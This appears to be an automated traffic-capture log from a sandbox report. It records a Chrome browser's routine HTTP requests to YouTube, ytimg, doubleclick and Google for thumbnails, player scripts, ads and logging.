Source: global traffic	HTTP traffic detected: GET /vi/LiEQ_JV0h4w/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/vs01gUJV3iQ/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id?slf_rd=1 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/hOPpxvP2E28/sddefault.jpg?sqp=-oaymwEmCIAFEOAD8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGGUgWyhIMA8=&rs=AOn4CLB1pwsAn0qkJuzQscocunfjgcf4QA HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/QJ96N5lUn0c/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/Jo_coLYPcOQ/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /pagead/id?slf_rd=1 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /generate_204?PbnCvA HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/-PcNMUQloeUAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?uSqoUA HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/erCmtRLIjD8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /generate_204?W8PEvg HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/xFzWNmILl40Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?sKOMzw HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/kG5xyR1406IAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /generate_204?PF7YLQ HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/LiEQ_JV0h4wAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?Q1N9AA HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/vs01gUJV3iQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?E9jUnA HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/hOPpxvP2E28Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?ooNuGg HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/QJ96N5lUn0cAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /generate_204?z9VDUw HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/-PcNMUQloeU/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/th/KZ9qBfv2Fvj8--thF3jkrqmjFIXwxVfodGy5wvrcirQ.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /kX-vYQ9Gn6TcX7ke5nWkheWbQUMzZEQn1dyzA-bRdJ3yC6h_jbggZ0PleqthkW2AGlTADqSrSg=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /instream/ad_status.js HTTP/1.1Host: static.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/erCmtRLIjD8/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/xFzWNmILl40/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=Ulq4W_fVF31lrJx3QbjNJ1B4W2aqzxvLJE4fe3kzt29nybxiVCdsT4QMq_gKV-110pq7d7AjWQCXpIYK2Z7i871eo9sbQlwJHv2bEttmZhXw255R8WYx56xA1oXC3bu_SoRNpVGSu4VM5mODezk3D3S9OgaQ7Bt2S3zbffXFjVkdr2w_i7EAjfpymQ
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/vs01gUJV3iQ/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/kG5xyR1406I/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id?slf_rd=1 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
